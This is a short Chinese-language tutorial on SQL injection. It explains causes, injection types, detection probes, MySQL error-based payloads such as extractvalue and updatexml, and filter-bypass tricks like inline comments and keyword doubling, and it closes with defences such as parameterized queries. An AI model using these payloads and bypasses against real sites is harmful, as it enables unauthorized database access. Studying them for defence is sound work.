SQL注入原理
0x0 WHY-为什么会有SQL注入
网站开发者没有对涉及到SQL查询的语句做过滤,导致用户可以构造恶意查询语句进行查询,从而获取一些不合法的信息
0x1 WHAT-什么是SQL注入
SQL注入是一种代码注入技术,用于攻击数据驱动的应用程序。 在应用程序中,如果没有做恰当的过滤,则可能使得恶意的SQL语句被插入输入字段中执行(例如将数据库内容转储给攻击者)
0x2 HOW-如何利用SQL注入
0x2.1 SQL注入分类
- 字符型注入
- 数字性注入
- 报错注入
- 盲注
- 基于时间
- 布尔盲注
- 堆叠注入
0x2.2 注入检测
- 模糊检测
1/1
' "
" and "1"="1
<< >> || | & &&
+ - ^ * % /
- 报错注入
select 1/0
select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a
extractvalue(1, concat(0x5c,(select user())))
updatexml(0x3a,concat(1,(select user())),1)
exp(~(SELECT * from(select user())a))
ST_LatFromGeoHash((select * from(select * from(select user())a)b))
GTID_SUBSET(version(), 1)
0x2.3 绕过技巧
- 编码绕过
大小写
url编码
html编码
十六进制编码
unicode编码
- 注释
// -- -- + -- - # /**/ ;%00
内联注释用的更多,它有一个特性 /!**/ 只有MySQL能识别
e.g. index.php?id=-1 /*!UNION*/ /*!SELECT*/ 1,2,3
- 重写
union => ununionion
- 替换
substring / mid / sub
ascii / hex / bin
benchmark / sleep
user() / @@user
and / &
or / |
0x2.4 常见payload
0x3 防护手段
- 所有的查询语句都使用数据库提供的参数化查询接口,参数化的语句使用参数而不是将用户输入变量嵌入到 SQL 语句中。
- 过滤危险的 SQL 语句关键字。
- 确认每种数据的类型。
- 数据长度应该严格规定。
- 网站每个数据层的编码统一。